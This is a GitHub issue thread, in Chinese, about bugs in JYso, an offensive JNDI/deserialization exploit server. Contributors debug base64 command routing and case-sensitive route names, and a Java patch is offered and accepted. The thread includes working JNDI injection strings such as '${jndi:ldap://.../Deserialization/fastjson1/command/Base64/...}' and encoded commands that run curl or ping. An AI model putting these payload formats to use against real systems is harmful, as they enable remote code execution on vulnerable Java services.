qi4L / JYso

JNDIExploit or a ysoserial.
GNU General Public License v3.0
1.57k stars 188 forks source link

base64编码问号会变成/,导致路由识别错误 #20

Closed winezer0 closed 8 months ago

winezer0 commented 8 months ago

如果我的命令是有?号的话,Base64以后是xxxx/yyy这种格式,导致jndi识别请求路由数据为yyy, 获取不到正常的base64字段,

qi4L commented 8 months ago

那我加个路由2base64,就把命令解码两次

qi4L commented 8 months ago

你用的那个路由,也可以不用base64,直接把命令丢上去,你把出错的payload发给我

winezer0 commented 8 months ago

curl http://xxxx????????afile=xxx
==> Y3VybCBodHRwOi8veHh4eD8/Pz8/Pz8/YWZpbGU9eHh4IA==

这个?号不是一定会编码为/,而是和某些字符组合起来才会,连续多个问号能够稳定复现该问题

winezer0 commented 8 months ago

用base64路由可以省略去一些不必要的空格问题,所以使用了/xxxx/command/base64/ 路由

qi4L commented 8 months ago

你看这样用行不行

/xxxx/command/curl http://xxxx/????????afile=xxx
winezer0 commented 8 months ago

应该是可以的,没有测试了,能不能加个简单的替换,我编码的时候将/替换为-号,代码中先替换-为/再解码。

注:- 可以是 其他的约定字符,只要base64中没有就行

或者兼容URL的base64算法

​除了基本的base64,还有一种url safe 形式的编码方式,目的是将“+/” 替换成 “-_”, 因为标准的Base64并不适合直接放在URL里传输,URL编码器会把标准Base64中的“/”和“+”字符变为形如“%XX”的形式,而这些“%”号在存入数据库时还需要再进行转换。

qi4L commented 8 months ago

改好了 image

qi4L commented 8 months ago

新版本发布了,你base64Two编码两次

ViCrack commented 8 months ago

新版本发布了,导致新bug出来了,旧的写法会报错。。。

其实都不需要加两次base64编码,原先的base64之后再用URL编码一次就行了,ldap服务器本身就支持的

qi4L commented 8 months ago

报错payload发我看看

ViCrack commented 8 months ago

ldap://1.1.1.1/Deserialization/Fastjson1/command/Base64/cGluZyAxLjEuMS4x

image

是不是新版修改了base64的大小写判断

按照WIKI中的写法,Base64首字母是大写的,目前发现更新到3.5.2后之前能那些payload全部无法用了,估计是这块加了大小写判断

qi4L commented 8 months ago

多加了个判断,我给改改

ViCrack commented 8 months ago

建议这些地方的路由判断是不是可以不需要区分大小写

image

因为路由命名上不统一,有些地方是首字母大写,有些是小驼峰,有些又全是小写 容易搞混

qi4L commented 8 months ago

行,我写个转换,全转小写的

qi4L commented 8 months ago

这样应该可以了吧 image

ViCrack commented 7 months ago

行,我写个转换,全转小写的 @qi4L

师傅,这个转小写的,之前能用,现在最新版好像又不行了

payload是: ${jndi:ldap://123.123.123.123/Deserialization/fastjson1/command/Base64/{xxxxxxxxxxxxxxxxxxxxxx}

看报错,可能是fastjson1没有转换找到类的原因

Error while generating or serializing payload
java.lang.NullPointerException
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:42)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:122)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)
qi4L commented 7 months ago

我改回去了,之前那样太难看了,受不了 image

ViCrack commented 7 months ago

我改回去了,之前那样太难看了,受不了 image

这个可以搞的,我晚点给你提个PR

qi4L commented 7 months ago

可以写个map来映射,我改下吧

ViCrack commented 7 months ago

可以写个map来映射,我改下吧

那我就不提交了,刚写了一个参考下

src/main/java/com/qi4l/jndi/gadgets/ObjectPayload.java

        private static CaseInsensitiveMap<String,Class<? extends ObjectPayload>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap();
        static {
            for (Class<? extends ObjectPayload> clazz : ObjectPayload.Utils.getPayloadClasses()) {
                caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
            }
        }

        public static Class<? extends ObjectPayload> getPayloadClass(final String className) {
            Class<? extends ObjectPayload> clazz = null;
            try {
                clazz = (Class<? extends ObjectPayload>) Class.forName(className);
            } catch (Exception ignored) {
            }
            if (clazz == null) {
                try {
                    return clazz = (Class<? extends ObjectPayload>) Class
                            .forName(LdapServer.class.getPackage().getName() + ".gadgets." + className);
                } catch (Exception ignored) {
                    //继续尝试不区分大小写读取
                    clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className);
                }
            }
            if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) {
                clazz = null;
            }
            return clazz;
        }
qi4L commented 7 months ago

直接用你的,写的简洁